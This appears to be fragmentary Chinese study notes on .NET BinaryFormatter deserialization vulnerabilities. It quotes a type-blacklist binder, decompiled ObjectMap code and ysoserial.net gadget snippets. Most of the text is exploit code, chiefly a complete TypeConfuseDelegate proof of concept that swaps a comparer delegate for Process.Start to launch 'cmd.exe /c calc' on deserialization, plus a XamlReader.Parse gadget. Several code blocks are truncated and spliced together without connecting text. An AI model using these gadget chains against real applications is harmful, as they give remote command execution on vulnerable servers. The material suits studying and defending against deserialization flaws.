using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary;
publicclassCustomSerializationBinder : SerializationBinder { publicoverride Type BindToType(string assemblyName, string typeName) { // 在反序列化时,检查类型是否在黑名单中 if (IsTypeInBlacklist(typeName)) { thrownew SerializationException("Deserialization of this type is not allowed."); }
{ this.objectName = objectName; this.memberNames = memberNames; this.binaryTypeEnumA = binaryTypeEnumA; this.typeInformationA = typeInformationA; this.objectReader = objectReader; this.objectId = objectId; this.assemblyInfo = assemblyInfo; if (assemblyInfo == null) thrownew SerializationException(Environment.GetResourceString("Serialization_Assembly", (object) objectName)); this.objectType = objectReader.GetType(assemblyInfo, objectName); this.memberTypes = new Type[memberNames.Length]; for (int index = 0; index < memberNames.Length; ++index) { Type type; BinaryConverter.TypeFromInfo(binaryTypeEnumA[index], typeInformationA[index], objectReader, (BinaryAssemblyInfo) assemIdToAssemblyTable[memberAssemIds[index]], out InternalPrimitiveTypeE _, outstring _, out type, outbool _); this.memberTypes[index] = type; } this.objectInfo = objectReader.CreateReadObjectInfo(this.objectType, memberNames, (Type[]) null); if (this.objectInfo.isSi) return; this.objectInfo.GetMemberTypes(memberNames, this.objectInfo.objectType); }
主要代码是上面这一段ObjectMap的构造方法里面的逻辑。
1 2 3 4 5 6 7 8 9 10 11 12
publicoverride Type BindToType(string assemblyName, string typeName) { // 在反序列化时,检查类型是否在黑名单中 if (IsTypeInBlacklist(typeName)) { thrownew SerializationException("Deserialization of this type is not allowed."); }
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Security.Permissions;
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using Microsoft.VisualStudio.Text.Formatting; namespaceBinaryFormatterSerialize { [Serializable] publicclassTextFormattingRunPropertiesMarshal : ISerializable { protectedTextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
using System; using System.Runtime.Serialization; using System.Collections.Generic; using Microsoft.VisualStudio.Text.Formatting; using ysoserial.Helpers; using NDesk.Options; using System.Collections.Specialized; using System.Diagnostics; using System.Reflection; using System.Windows.Data;
publicDataSetMarshal(object fakeTable):this(fakeTable, new InputArgs()) { // This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification) }
publicDataSetMarshal(object fakeTable, InputArgs inputArgs) { MemoryStream stm = new MemoryStream(); if (inputArgs.Minify) { ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter(); fmtLocal.Serialize(stm, fakeTable); } else { BinaryFormatter fmt = new BinaryFormatter(); fmt.Serialize(stm, fakeTable); }
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using Microsoft.VisualStudio.Text.Formatting;
publicstaticobjectGetXamlGadget(string xaml_payload) { Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp); set.Add(xaml_payload); set.Add(""); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // We use XamlReader.Parse() to trigger the xaml execution invoke_list[1] = new Func<string, object>(System.Windows.Markup.XamlReader.Parse); fi.SetValue(d, invoke_list); returnset; }
using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization.Formatters.Binary;
namespaceDonNET_Deserialization;
publicclassTypeConfuseDelegate { publicstaticvoidMain(string[] args) { Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp); set.Add("cmd.exe"); set.Add("/c calc"); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); using (MemoryStream memoryStream = new MemoryStream()) { // 构建formatter BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(memoryStream, set); memoryStream.Position = 0; binaryFormatter.Deserialize(memoryStream); } } }
The only weird thing about this code is TypeConfuseDelegate. It’s a long standing issue that .NET delegates don’t always enforce their type signature, especially the return value. In this case we create a two entry multicast delegate (a delegate which will run multiple single delegates sequentially), setting one delegate to String::Compare which returns an int, and another to Process::Start which returns an instance of the Process class. This works, even when deserialized and invokes the two separate methods. It will then return the created process object as an integer, which just means it will return the pointer to the instance of the process object.
这段代码唯一奇怪的地方是 TypeConfuseDelegate。 .NET 委托并不总是强制执行其类型签名,尤其是返回值,这是一个长期存在的问题。在本例中,我们创建一个包含两个条目的多播委托(一个将按顺序运行多个单个委托的委托),将一个委托设置为 String::Compare(返回 int),将另一个委托设置为 Process::Start(返回 Process 类的实例) 。即使反序列化并调用两个单独的方法也是如此。然后它将以整数形式返回创建的进程对象,这意味着它将返回指向进程对象实例的指针。